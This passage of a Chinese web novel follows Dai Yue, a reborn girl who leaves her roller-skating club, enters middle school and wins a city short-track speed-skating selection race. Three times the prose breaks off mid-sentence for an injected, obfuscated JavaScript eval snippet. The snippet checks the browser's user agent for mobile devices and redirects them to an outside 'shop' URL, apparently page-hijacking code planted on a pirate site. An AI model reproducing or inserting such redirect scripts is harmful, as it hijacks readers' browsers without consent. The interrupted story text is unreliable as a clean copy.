“代越,代越!我们来比一场吧!”闵静成为了慧体里除了张宇宇以外的又一个咋咋呼呼选手,周末的场馆上方永远都回荡着代越的名字,魔音贯耳。 代越选择去冀老板办公室躲清静,而这个时候,也顺便能看看比赛,老板经常在看足球比赛,代越会放短道速滑比赛,虽然老板不知道她怎么会有这么个爱好,但竞技比赛总是有感染力的,后来老板也会和代越一起看短道比赛了。 —— “快点,快点,小苗,你能不能快点脱,马上就到时间了。”扎着一个马尾辫的女生着急了,拿起凳子上男生的包就要走。 男生光脚追出去,“宇宇姐,你等等我,包里有我鞋呢!” 追到电梯门口,短发的女生早早就摁好电梯,后背靠在门缝出,把电梯留在这一层,问两人,“越越呢!” 代越应了一声,然后又回头说,“五姐,又麻烦你收拾了!我们先走了啊!” 电梯下到一楼,几人站在俱乐部门口。 “老规矩,小苗你先进去,我们在休息室那个窗户边等你。” 三个女生拿着四个包,从外面绕出去到街道背面的窗户底,不一会儿,窗户从下面压开一条缝,宇宇率先爬进去,然后和小苗一起拉闵静,代越在外面发力。 “静啊,下次少吃点吧你,每次就属你进来费劲。”宇宇吐槽。 代越更是脸都憋红了,自从大家步入快速生长的生理期阶段,这扇小窗户是越来越难进去了。 尤其是闵静,和她的名字完全相反,刚上初中身高体格就极速增长,轮滑比赛的时候,同组选手根本挤不过她,去年参加了一次万米淘汰赛,深深地爱上了这种带碰撞竞争性质的轮滑比赛,打算未来就称霸这个赛道了。 代越也长高了不少,这几年喝的牛奶好像都浇在了身高上面,身形看上起反而有些消瘦,眉眼下颌都长开了些,配上齐耳的短发,在学校被宇宇勾着胳膊的时候,还被校长叫住以为早恋呢。 宇宇是几个人里唯一没怎么长个的,总是对她两嫉妒的要死。 小苗就是当初代越刚买上轮滑鞋在广场扶住的那个小男孩——苗宇杰,也是巧了,和代越她们同一个学校,比她们小一届,无意中发现发育晚个子矮小的他被高年级欺负,学校小霸王张宇宇直接出手,从此,小苗就成了三人的小弟。 “咳咳。进不来就别老走窗户了!也走走门吧!”冀老板的声音从背后响起。 5. 第五章 冀老板办公室,四个人靠墙站成一排,听着他给几人的家长回电话。 “没事,她们已经来了,对对对,我已经在批评了,也不能那么说……” “老冀二手车厂子是不是也倒闭了?最近怎么这么有时间?”几人已经开始窃窃私语上了,闵静对于这段时间冀老板的清闲做出合理猜测。 “说不定是上次那个漂亮姐姐没找成,对象又黄了。”宇宇也跟着说。 自从两年前冀老板的足球队倒闭之后,他就把自己的竞技体育热情都投在了轮滑上面,不止是代越第一次参加的那种纯粹为了招生宣传小打小闹的业余比赛,连外地的正规比赛都舍得花钱报名参加了。 不仅比赛衣服报名费,连轮滑鞋冀老板都全包下来,让代越不禁感慨,足球队到底是有多费钱,能遏制住老冀花钱的大手大脚。 不仅投入金钱,老冀还投入时间,除了日常训练项目不管,其余的事都包揽下来了,大家和老板的关系也逐渐越来越没大没小起来。 “说什么呢!”老冀挂断电话就开始正式批评,“你们家里人说早上八点就从家出发了,这都快十点了,才来训练,下个月就要参加比赛了,你们这个态度还想不想拿牌子了,别仗着自己天赋好就觉得天下无敌了……” 唠叨了好半天,老冀才停下,“行了,你们几个人出去吧!好好训练,下个月比赛要是没发挥好,我连本带利让你们家长找你们算账!”几个人排队准备出去的时候,又听见老冀来了一句,“代越,你留一下。” 代越转身,走近老冀的办公桌,双手自然的托扶住桌沿儿,然后露出一个讨好的微笑,“老冀你别生气嘛,你还不相信我的能力吗?保准给你这荣誉柜里加个黄牌子。”她早就把老冀面硬心软的性子拿捏得死死的了,这么说吧,一个粗犷的大汉变成这个婆婆妈妈的样子,他们几个不听话的小孩每人都有责任。 老冀语气平静的说,“你先坐下吧,咱们坐着慢慢聊。” 老冀这个样子反倒让代越心里没底了,坐在沙发上背都挺得老直。 “这次比赛滑完,你就别滑轮滑比赛了。”听到这个宛如赶人一样的语句,代越手都捏紧了。 下一刻,老冀又说出了更令人震惊的话,“我有个体育局的老同学,说明年的省运动会要新加入好几项运动比赛,其中就有短道速滑比赛。” 代越嘴唇动了动。 “你是不是想问我怎么知道的?每天拉着我看比赛,还想让我组个短道速滑队是吧!心事都写在脸上了,还有,楼上那个冰场,人家老板早就来找过我了,翘训练去也不说把包上的俱乐部logo遮住点,人家冰场老板就怕你们玩的耽误了正业。” 代越摸摸额头,“老冀你怎么还藏这么久,看我们偷偷去呢!” “我不藏着,你们不就光明正大的去了!”老冀虽然是那么说,但真让他放弃代越这个轮滑好苗子还是舍不得,“你是真的想滑短道?一旦决定了可就不能后悔了!” 代越用力的点点头,“我决定了,要走短道速滑职业路线。” 老冀在心里叹了口气,“职业路线可不好走啊,不过我相信你,不是所有练体育的小孩都能全年无休的做基础训练,继续保持下去,以后我也回去看你的短道速滑比赛的。” 代越知道,还有一些话没说出来,一旦她放弃了轮滑,就意味着,她要离开这个俱乐部了,还有一年,她必须全力以赴的投入短道训练,虽然自己每天晚上都在滑冰,但隔行如隔山,白天的轮滑训练在技巧上总会有不一样的地方,小时候还不明显,现在就已经显露出来了,表现在比赛的时候就会常常混淆加速时机。 出了办公室,闵静他们围过来,“怎么了,越越,老冀该不会是骂你了吧?” 代越笑笑,暂时没把分别倒计时说出来,“咱们比完赛,我请大家去吃麻辣烫吧!” 都还是孩子,立马被转移了话题,“好耶!越越万岁!” —— 比比赛更先到的是小学升学考试,考试前一周,班里同学们都在分发周围文具店里买到的同学录。 代越以为只有像宇宇那样什么都感兴趣还有大把时间用来和同学们玩耍的高能量人类,才会人缘很好,但没想到自己也收到了近乎大半个班同学的同学录,还有好多同学主动要给代越写。 在最后收回来的同学录留言里,有一条写的格外深刻。 【感觉代越长大后一定会成为很了不起的大人!】 代越就当做这句话这句话是对自己的鞭策,她一定会做到的。 又认认真真的把试卷检查了一遍,小学的知识点真的不难,但也要细心,保证自己不要栽在学习上,学习成绩维持优秀,家里人才会允许自己把精力放在运动上,单纯搞体育是很难有前途的。 走出考场,代越还觉得有些如梦似幻,重生后第一个重要的阶段就这么过去了,而属于自己的短道速滑之路才刚刚开始。 —— 七月,在拿到轮滑比赛又两块金牌的同时,班主任把大家的升学考成绩也以短信的方式发给了家长,没有具体的分数,但有整整齐齐的三个A。 比完赛四个人一起去了约好的那家麻辣烫店。 宇宇的学习成绩可比她的轮滑成绩好的多,也是一溜的A,闵雪替她俩开心的同时也有些失落,“这样你俩也不会去我学校上初中了。”她去年是以体育特长生的身份进了以体育出名的十四中。 代越考完试就和宇宇一起估了下自己的分数,大概率能去每年中考状元都在的二十九中,而年纪最小的苗宇杰,明年才知道去哪个初中。 “听说二十九中一个年级有18个班呢,我们就算是进了同一个初中,也大概率不在一个班了。”宇宇也有些难过。 “我们每周还是要一起训练的嘛。”小苗才说完这句话,剩下三个人就一起看向他,“各位姐姐,我哪里说的不对吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345278|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实——我可能不会经常来和你们一起训练了,我爸给我找了体校一个教练,专门练轮滑的,我只要不上课就都得找他训练。”闵雪先开口。 宇宇跟着开口,“我比她好一点,不过这个暑假过去,就要专心放在学习上了,初中学习课程多,我家里人还想让我考清北呢!你们也知道,我轮滑没啥天赋,再训练也考不下来运动员证,去年参加那个数学竞赛,我不是还拿了一个二等奖来着,我妈说了你随便考考都能获奖说明肯定有天赋,要给我报奥数班,以后高考说不定能加分。” 小苗听一句头低一点,像霜打的茄子,代越又奉上最后一击,“我不准备滑轮滑了,你们应该也看出来了吧,我一开始滑轮滑就是因为它更接近短道速滑,训练的条件又不像短道那么高,但是我明年想参加正式的短道速滑比赛,所以不能再滑轮滑了。” 小苗眼泪都掉下来了,“你们都要走,那我一个人滑还有什么意思!” “只是不在一个俱乐部了,我们还可以一起约出来玩啊,而且不是都有企鹅号,我们群又不会解散。”宇宇明明自己眼睛都红了,但还是安慰到。 代越点点头,“对,我们应该开心才对,大家都在朝自己的目标努力靠近。” “是啊,是啊,我未来要成为最厉害的轮滑运动员!要大家都能看到我。” “我要参加冬奥会,要拿短道的冠军!”代越举起杯。 宇宇也跟着举起杯,“那我就做你们的啦啦队,等我考上清北,就是你们最有文化的粉丝了!” 最后小苗抹了把眼泪,“那我也努力训练,追上你们,说好要一直罩着我的!” “干杯!” 四只稚嫩的手掌举着茶杯碰在一起,大家都坚信自己一定能够成功。 周围桌的客人都被小孩子们的热情所感染,有人鼓起掌来,老板娘送上来一瓶汽水,“阿姨觉得你们这几个小孩真有志气,这瓶汽水算阿姨请你们的,就当是祝你们都能实现自己的梦想!” 谁还没有年少的时候呢,这个年纪的热血最可爱了,周围人都在善意的起哄,代越四人有些不好意思的坐下,跟老板娘道谢。 经历过一次成年的代越知道,大家总会因为不同的原因渐行渐远,未来或许他们交集会越来越少,但此时此刻想要永远在一起的誓言是真的就足够了。 —— 最后退出俱乐部是妈妈陪着代越去的,家里人对代越的决定,虽然也有一点惋惜,但尊重孩子的选择,妈妈说,他们对代越口中的轮滑,短道都不了解,所以帮不上什么忙,但不管她怎么决定,家人总归是会陪着她一起的。 老冀没有多说什么,只是把最后这次的比赛奖牌还给了代越,还从桌子下面拿出一个盒子,“短道的路不好走,我勉强算你半个启蒙老师,没什么能帮上你的,就给你准备了个礼物,是你最喜欢的颜色,小孩子脚长的也快,不过勉强也能用个一年半载,明年比赛场上就穿着它夺冠吧!” 6. 第六章 代越上辈子因为二十九中离家太远而选择了同样以学习成绩出名的十一中,她记得那时候宇宇还和她生了好一顿气,后来搬家,短暂的小学同学情也因为空间距离,再也没有了联系。 这次代越会选择几乎坐落在郊区的二十九中,最重要的原因就是,距离二十九中不到两公里的地方,有着市里唯一一所专业体校。很多专业体育竞技的市队组成就是来自这所体校,代越未来想要参加的比赛不是“业余组”、“学生组”,而是“专业组”,就意味着总跨不过这个地方。 站在体校门口思索许久,代越放弃了进去看看的想法,以后总会有机会的,还是先去报道。 查看分班,找教室,调座位,领课本,然后大扫除,收获了全新的同学老师,但这样陌生的环境代越适应的很好。 比起学校里的其他同学,代越除了精致的五官,身上还带着一股挺拔昂扬的气质,哪怕表情是疏离的,也给人散发着光芒的感觉,新同桌红着脸和她说,分班时候,新同桌她们还讨论代越到底是男生还是女生,简直帅爆了。 代越笑着谢谢她们的夸赞。 —— 从代越决定放弃轮滑收到那双稍显昂贵的冰鞋开始,家里人以各种方式查询问到了自己孩子感兴趣的短道速滑装备,防切割衣,冰刀……的价格,在代越不知道的时候做下了更急迫赚钱的决定。 爸爸代国福接活更多了,早出晚归,只在雇主家采买的铺地砖还没到的时候才休息半天,妈妈投资了一个早餐车,天不亮就开始备菜,太阳还没升起就早早的开着去二十九中校门口,顺便还能送代越上学。 代越即便不知道父母的心路历程,也总能猜到他们这么拼命的原因是为了自己。偷偷抹了把眼泪,如果说重生让代越知道了短道速滑这样一个她只要了解就会喜欢的运动,这十几年的训练又让短道注定成为她生命不可或缺的一部分,那么此时此刻,代越坚信自己一定会成为短道速滑领域那颗最亮的星星,她不会也不能辜负为此所付出的一切。 代越没有普通这个年纪小孩子脆弱又敏感的羞耻心,不吝啬让同学知道自己妈妈就是在校门口卖早点的那一个,所以妈妈的摊位生意总是最红火的,学校里那些对代越好奇、感兴趣、有好感的同学们构成了稳定的客源,只等着偶尔自己买早点的时候碰到帮忙的代越认出自己,问一句你喜欢豆浆还是粥。 被期待着的代越却不是轻易就碰到的,她和妈妈到的早,会先吃早点,然后一边帮忙一边消食,等到第一批学生到,校门打开的时候,就最先进去,开始晨练,三公里然后借用看台半米高的阶梯练腿,最后提着书包踩着上早读的点踏进教室。 晚上放学是六点半,代越坐着公交回家大概是七点半,吃完饭八点多到商场那家常去的冰场,和老板商量用相对便宜的价格充了个月卡,允许代越自带装备借用冰场训练,工作日虽然是晚上人多,但相较周末人也少很多,训练难度没有那么大,一般到九点多就没什么人了,这个时候她开始专注和自己那双红色的冰鞋做磨合。 拖老板的人脉,代越还买到了自己的第一身连体比赛服和头盔护具手套,蓝白相间,比赛服是根据身体数据订做,轻薄的一小件,这套装备花光了代越这几年攒的全部压岁钱,最后护目镜是商家赠送的。值得庆幸的是,代越前两年发育比较猛,身高直逼一米七,最近长得慢下来了,爸妈都不太高,基因限制怎么也不会长得太离谱,这些装备能多用一段时间。 冰鞋磨合的也还算顺利,至少不像刚开始那段时间,每天晚上都要回家挑破脚指头侧面的泡,然后涂一层药,反复磨破之后,那一小片皮肤都有些不好看。 这样日常的训练直到老冀打来电话,他说12月市里要举办一场包括短道速滑在内的十几个竞技项目的选拔赛,针对的就是明年四月的省运动会,体育局官网上已经发了通知,报名还是要以学校的名义报名。 周一,代越就在体育课自由活动时间拿着自己的身份证件,找体育老师了解情况了。 代越所在四班的体育老师叫郭沫,同时带着好几个班的体育课,像这种火箭班的学习好,体育氛围就稍差一些,在这种班里身体条件格外优秀的代越还是很容易记住的。 饶是如此,郭沫也没想到她会因为这样的原因找到自己。 “这样,你跟我来一□□育组办公室,拿上你那些东西。”让操场上另一个体育老师帮忙看一下四班的同学,自己带着代越回到办公室,找到了专门带田径队的雷正东老师。 “老雷,上周那个选拔赛报名,你反馈了没?我这有个小孩想报名。”郭沫拉了个凳子坐在雷正东旁边。 “冬季项目那个?”雷正东上下审视了一下代越,省运动会正赛时间是八月份,明年的省运动会新增了冬季项目,为了适配季节性要求,部分项目会提前在四月份开赛,这个变动他们也是不久前才收到通知。 市里要特意为这个冬季项目办选拔赛征求报名表,他心里还想着,冬季项目,推个几年才能上正轨,这就来了一个已经实践的?“我找找,给你把报名表打出来,报的是什么项目啊?” 郭老师示意代越回答。 “短道速滑。”代越把身份证,还有前不久老冀用上半年那次省级轮滑赛事成绩给申请下来的三级运动员证书都拿出来,“我算是轮转滑的运动员,生日正好能压线参加女子乙组的比赛。” 运动员证书算是给代越参加比赛添上了一份认真。 雷老师认真的重新看了一下公告要求还有报名须知,都打出来给代越一份,“你回去填好了,让家长在后面签字,还有报名费保险费这些都让家长知情了,上面可写了,一周前退赛返还报名费一半,之后退赛费用不退的。” 代越用力点点头,“我知道了,上面还要求写带队老师——” 没等代越说完,雷老师就说,“就写你们郭沫老师就行,填好了连带报名费这些都交给你们郭老师就行。” 郭老师用力拍了一下雷老师,“之前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345279|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些参加比赛的不都是你带队吗?” “你自己领进来的学生,你不得负责到底?” “我负责就我负责,万一拿奖了,你别想沾一点儿光。”几句玩笑话,两人都没有猜到,这事会成真。 —— 郭老师既然已经当了带队老师,就还是很负责的,第二天把代越拿来的保险费用退了回来,“咱们田径队代表学校去参加比赛的时候,报名和保险费用都是学校报销的,咱们第一次有这种类型的活动,报名费我没给你争取下来,但是保险费帮你申请好了,和田径队他们同一个保险。” “谢谢老师!”代越真诚的感谢。 郭老师又问,“你训练方面需不需要我帮忙?”他晚上回去特意了解了一些短道速滑的训练方式,最起码保证自己对这个项目不是一窍不通。 代越说了一下自己平时安排的训练计划,郭老师从里面找到了一些可以帮忙的地方,“咱们报告厅一层有个体育器械室,那里我记得有弹力带那些,活动课那一个小时我带你去那儿进行室内训练。” 体育训练在很多方面是共通的,郭老师或许看不出来代越在哪方面是薄弱点,但短道既然要练腿,腰腹还有弯道平衡,就好说了。 “来,蹬腿,用力,维持平衡。”郭老师将弹力带一端固定在侧面的栏杆上,高度与髋平齐,另一端固定在代越脚踝,双脚与肩同宽站立,身体向弹力带拉力的反方向侧移,一侧腿蹬地发力,另一侧腿跟随滑动,臀中肌、大腿外侧发力,反复15次,三组结束肌肉有些酸胀,然后紧接着是站姿后蹬腿。 一个小时在汗水爆滴的过程中度过的格外快,室内训练的好处也凸显出来了,只要训练完换一身衣服再出来,就不至于被风吹感冒。 刻苦训练的程度已经影响到了班里同学,同桌薛鸿玲作为全班代表跟代越打探。 “请班草代越同学如实交代,每天活动课偷偷做什么坏事了,为什么大家都找不到你!”薛薛握拳支在代越嘴边。 代越无奈的调侃,“上次不还是校草,怎么降级降这么快。” “谁让你太神秘了,大家总是找不到你,12班有个180的足球男,每天都在操场上踢球,已经砸到十几个女生了,这种脚法连足球队都进不去,居然还能抢走你的风头,气死我了,等等,你不要转移话题!” 代越把自己训练要参加比赛的事情告诉她,“我只告诉了你,你千万不要宣扬出去,不然老班该找我谈话了。”这话当然是假的,她只是不想以后走到哪都被人问比赛的情况。 薛薛说,“我了解,我了解,像咱们这种成绩好的学生,学习之外的在老师眼里都叫不务正业。” 知道代越报名成功的是宇宇,她虽然没和代越分到同一个班,但放学还是一起回家,得知选拔赛不是在周末而且没有观众席位,虽然很沮丧但还是认认真真做好了应援牌,她说了,要是代越妈妈能去,她就给阿姨,如果不能,就给郭老师带着,这大概就是自来熟的能力。 7. 第七章 时间跳转到十二月五日,周四,原本天气预报报道的大雪延迟到了周六,好在没有风,前一天新浇过的冰面光滑的像一面镜子,有冰童在上面摆放弯道标志块。 代越连同其他来参加选拔赛的女生,也不过将近二十个人,她还看到几个有点熟悉的面孔,可能是轮滑比赛里见过。相互视线碰撞的时候都有试探,也有人认出了代越,毕竟市里轮滑比赛这几年她是领奖台常客。不过都没有说话,毕竟太冷了,开口就是一团雾气。 大家坐在临时搭建起来的棚子里换鞋,除了冰鞋头盔,大家在速滑服外面都穿了一条轻便的运动衣,主办方还贴心的给大家准备了防风马甲,一人一件,虽然灰色的有些难看,但在寒冷的威胁下,都穿着了。 没错,这次选拔赛是在室外进行的,此次此刻的L市还没有专业的室内短道速滑冰场,商场里那个,光是面积就没有办法用作比赛。 一个圆形白底黑字的15贴在头盔上,代越的签运不是很好,以抽到的15号作为分组依据,500米需要道次争夺的项目,五人一组,她排在3组5道,道次没那么重要的1000米和1500米,七人一组,她排在3组1道。 选拔赛没有项目选报,总共三个项目,所有人都要参加,男女组分开。 女子500米开三枪,预赛18人每组前两名晋级,第三名根据时间晋级2人,有判进就会抢占第三名的名额,半决赛10人分两组,每组前两名加第三名的最快时间,最终5人决赛。 女子1000米和1500米都是开两枪,预赛三组分别是7人,7人,5人,依旧是每组前两名加第三名的前两位,最终决赛8人。 因为人少,教练和裁判有充足的精力去分析参加比赛的选手,所以不设复活赛。 先进行500米预赛,然后是1000米预赛,1500米预赛,上午的最后一场是500米半决赛,三场决赛都定在下午,所有的选拔赛一天就可以完成。 短道速滑每项比赛间隔很短,除了必要的补冰修冰环节,枪声几乎不断,一个上午就要滑四枪,竭尽全力的3500米,意味着超强度的体力消耗,必须要有充足的训练储备支撑。 穿好衣服,代越就率先出去做陆地热身,天气越冷,越要重视热身,上冰之后的试冰时间很短,身体没有解放开的话,成绩不好还不要紧,很容易摔倒受伤的。 还有几个女生见状也跟着出来了,当然也有在棚子里享受片刻温暖的选手。 郭老师凑到代越边上,辅助她热身,顺便缓解紧张的情绪,“怎么样,冷的厉害吗?要不要带个耳套?” 身体容易热起来,但耳朵却已经冻得通红了。 代越摇摇头,“我的备用冰刀您帮我拿好了,我看这冰有点硬,容易碰刀。” “这你就放心吧,我已经做好随时帮你调整的准备了。” —— “准备——” 代越上场时候冰面已经被滑出了一道一道的印子,看上去乱糟糟的,站在最外侧,感觉脚下的冰有一块感觉不太一样的道子,大概是前面的选手磕下来的,补冰不是很完美。 在来这里之前,代越都不知道L市还有这么多在滑冰的同龄人,不知道她们平时在哪里训练,大家的水平又是什么样子的,她的第一场短道速滑比赛,一切都是未知数。 砰! 枪声响,五百米从出发就要冲刺! 代越用力登冰,反应速度是这一组的第一名,然而五百米是存在道次优势的,在向内挤压的同时,被顶到了第三位置跟滑。 “好出发!”郭老师忍不住鼓掌。 代越是和排在第二位置的人身体先摩擦了一下,然后是冰刀碰到了,虽然没有发生重心不稳,但以防万一她还是退让一步,紧紧跟在后面。 还剩四圈,还剩三圈,心里默默数着,该到最高速度了,但是代越感觉第一名的带速不是很快,她也没看到第二名有超越的意图,太慢了,她等不到最后两圈了。 拉外道,代越都不需要加刀,只用蹬冰的速度,预备过弯,也不需要减速,腰腹的核心收紧,她感觉身体重心稳得很,手指在背后犹豫一下,还是觉得不需要扶冰,冰都不用扶,难道还需要减速吗?当然不需要。 冰刀在外圈划出一道规整的弧线,声音也尤为顺耳,和排在第一第二名的选手没有任何接触,就那么超过去了。 下一秒,代越收直道,已经稳稳的排在了第一位,此刻,距离冲线还有两圈。 领滑是代越最熟悉的滑冰方式,她可以忽略身后所有人的节奏,仿佛这个场地里只有她。顽固的风顺着头盔被分到两边,然后是身体,最后认清自己留不住高速滑行的代越,破风本身就是一件很爽的事情。 最后冲线。 身体由着惯性在冰面上又滑了两圈,然后才到出口,接下郭老师拿着的刀套。 “滑的真漂亮,第二名和你距离差老远了,身体感觉怎么样?需不需要再走走?” 代越摇头,“老师有纸吗?想擤鼻涕。” “有有有,快擤吧,这么冷的天,也真是难为你们。”郭老师把纸递给代越,又抓紧用厚厚的羽绒服外套裹住她。 代越声音有些沙沙的,“我出发的时候和别人撞了一下刀,应该不严重,不过可能下场比赛得换刀了。” “行,你抓紧时间休息,我给你换刀。” 冰刀前端果然被磕出来一个小牙来,代越心疼坏了,她决定了,1000米和1500她绝对不要再和其他选手发生任何碰撞,500米这种很难避免的短距离就是她最不喜欢的项目了。 抱着这种想法,代越围着棚里插电的小太阳,闭目养神。 —— “1000米要开始了!”耳边嘈杂的声音传来。 代越睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345280|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼睛,打了一个大大的哈欠,眼角挤出两滴生理盐水,又要上冰热身了。 和500米不同,1000米发令枪响,代越就率先冲到一位。 考虑到后面还有两场比赛,代越没有冲的很猛,卡着与第二名不算太远的位置,守线。 紧守内道的“最佳转弯半径”,身体向左大幅度倾斜,像粘在冰面上一样守住内线,直道时用交叉步,后腿在超越前腿时,落冰点稍微靠前且靠内,形成一种“关门”态势,不给对手留下切入的缝隙。 内道超越靠技术,外道超越靠实力,代越用最短的半径,最深的身体倾角,最稳的外刃控制,占据内侧通道,迫使第二名想要超越就必须滑行更长的距离。 可是即便费力用外道也不一定能超越,但第二名也是可以晋级的,所以又何必为了决赛的道次这么拼。 顺利的以第一名冲过终点线结束一千米的比赛,之后的一千五百米虽然也是同样的结果,但明显能看出来代越更多依靠技术了。 漫长的上午,再次站上冰场进行五百米半决赛的时候,代越感觉身体已经很疲惫了,小腿酸的厉害,有两个选手选择了退赛。 大家的速度相对于第一场慢了很多,代越几乎是强撑着冲过了终点线,即便她的体力算是同龄人望其项背的,但在参加选拔赛的选手里,年纪还是最小的,排在第二的那位,十七八岁,身体机能正值巅峰。 对方试探超越了几次,在要并排的时候,代越又咬着牙爆发增加速度,守住内道,把人逼回二位。 比之前每一场比赛结束撑膝盖的时间都要久,代越轻轻张开嘴辅助呼吸,她还是不能太骄傲了,这只是市里的比赛,她差点就把第一的位置丢了,未来还会遇到更多技术更强的选手,到那个时候能不能领滑都未必,就别想着卡别人位置了。 “我,体力,还是太差了!”代越说话还是有点匀不过来气。 “已经很不错了,你才十三岁,能这么厉害已经是小怪物了,总要给身体一些发育的时间,对手十六七,比你体力好才是应该的。”郭老师安慰到,他没觉得代越赢了比赛还说这话有什么问题,就像学习好的孩子哪怕还是第一,但没达到心里的分数就会觉得没考好。 代越还是有些苦恼,“我才不厉害,厉害的人十六七已经可以参加奥运会了。”她得比那些能参加奥运会的人十三岁时厉害,才有机会参加参加世界级比赛啊! 目标远大的代越并不知道,在选拔老师的名单册子上,她的名字已经被画上了大大的圈。 “500米那场能看出来她有超越的能力,1000米表现出来守道的能力也不错,1500米说明体力储备也足够,全能型选手,还不满13周岁,咱们L市也要出紫薇星了!” 选拔老师们午休吃饭时间围在一起讨论。 其中一位较为年轻的名牌上写着关程远的老师有些兴奋的说。 8. 第八章 “话别说那么早,速度怎么样?”坐在最中间的看起来有些年长的男人泼凉水。 关程远翻开成绩表给他看,“速度也挺快的,五百米能有47''8'',虽然咱们是掐表算的,但室内比赛的话肯定发挥更好。” 年长的男人挑挑眉,“发挥好坏不一定,我记得短道速滑二级运动员五百米的达标线是48秒?她的成绩加上掐表误差还不一定达标?” 关程远心里暗暗吐槽,孙立你懂个屁的短道,但面上还是尊敬的说,“孙主任说的也有道理,不过代越年纪不大,还有进步的空间,而且是咱们本土的选手,如果到时候能领到奖,也能成咱们L市冰雪运动宣传的点。” 孙立是体育局的领导,这次选拔赛的主裁判队伍虽然是由市体校联合几个体育名校的老师组成,但体育局也联合承办,领导不懂体育是常有的事,但是这位怎么就一点鼓励都不给,关程远怎么也想不通。 他想不通,但主裁判杨洲却一清二楚,选拔赛开始前,孙主任就和他聊过一次了。 “咱们L市过去这几年一直也没有推广过冰雪运动,杨老师你来咱们L市体校也十几年了,体校都没招收过速度滑冰选手,这次省运动会把冰雪项目加进来,虽然市里不求成绩有多好,但是也不一个奖牌拿不上。” “我其实有个想法,能不能从外面借调几个运动员回来?东北那边速度滑冰的运动员梯队建设的很完善,竞争也比较大,选几个实力差不多一点的也够用了,到时候挂在咱们体校名下。” “我知道你们搞体育的对这种借调运动员的行为心里容易有想法,但是罗马不是一日建成的,咱们也没办法立马就培养出来滑冰的天才不是?” 这是孙主任的原话,杨洲搞体育也搞了挺多年了,借调运动员这事中间牵扯到的利益也不仅仅是拿奖牌,既然目的是这个,那这件事就必须有做的理由,选拔赛本来是走流程,但出来一个成绩太好的就没理由了。 但既然有实力,就没道理被埋没,杨洲打圆场,“这个代越我还真有点印象,之前在轮滑比赛见过这个小姑娘,拿了不少奖,我正想联系她家长,问问愿不愿意转到体校呢,政策上要推广冰雪运动了,以后的比赛也只多不少,您之前也说了,体校没招过速度滑冰的体育生,有了这第一个,以后参加比赛都不愁了。” 孙主任想了想,“也是,打铁还需自身硬,我看还有几个小选手表现也不错,好好练一练还是有希望出成绩的,咱们两手准备,到时候把两部分的人提前放在一起训练一下,有竞争才有进步嘛。” “您说的对。” 反正,竞技体育最后做决定的,是实力。 午休杨洲和关程远一个房间,关程远耐不住性子,好奇的问,“杨老师,咱们体校招速滑学生,您打算亲自带?” “我都这岁数了,带什么,带队老师都快没精力当了,这届省运会结束,学校都准备给我转行政岗了。”杨洲翻了个身,背对关程远,声音闷闷的,听不出来什么情绪。 关程远又说,“我听陈老师说,您以前就是滑冰运动员退役的?还在H市当了好多年的速滑教练?那会咱们M省也是北方强区呢!好不容易等到复苏了,您不想冲一把?” 杨洲没说话,不知道是睡着了还是没听见。 —— 中午在附近吃了碗面,就又回到休息区了,棚子里小太阳一直开着,再加上好多选手不在,能独享这份热风,所以也找不到比这儿更温暖的地方了。 但是靠背有点硬,热风吹得嗓子也有点干,所以代越睡得不是很好,感觉自己有点感冒的症状了,立马起来喝了点热水,看看时间,没多久了,也不敢再睡了,就开始给擦冰刀拧螺丝, 代越很早就发现,日常的耐力训练,对于她在连续比赛时的速度维持现在已经没有什么明显的提升了,但短时间休息的恢复能力却增强了,上午跑了四枪,肌肉酸是肯定的,但中午这两个小时的休息,她体力不敢说完全恢复,但也不影响发挥了。 决赛顺利的不像样,有上午的成绩基础,代越的决赛每场都是最优赛道,率先抢到一位,然后全程领滑到底,没人来竞争,冰面也没出问题。 五百米流畅的滑下来,成绩进了47秒。 47秒意味着什么,杨洲很清楚,到了室内,服装场馆加成,更低的风阻,代越大概率能滑进46秒,46秒是短道速滑一级运动员的线,国内的一些比赛也能站上领奖台了。 代越只觉得自己滑的很顺,成绩被公布的时候还有些失望,要知道,现在的世界纪录可是都冲到43秒内了,她差的这些,都够被人家套半圈了。 比起500米,1000米和1500米成绩就稍微差一些,刚刚过二级运动员的线。 “竞争还是不够!”杨洲在心里评论,这种选手应该早点到更大的赛场上去历练,原本心里还对引入外地选手有所芥蒂,现在想想,那些人也可以当她的磨刀石。 —— 入选名单没有当天公布,但作为三个项目当之无愧的第一,代越进入名单是毋庸置疑的。 第二天,代越接到通知,从下周一开始,要统一进行训练。 每天下午去市体校四点半开始,六点半结束,周末下午两点开始,就在她们进行比赛的这个公园里,进行室外冰上训练,五点结束。 这样的训练要持续一个月,一月上旬,结束期末考试以后,会去临市进行两周的外出训练,具体是哪天时间还没有定下。 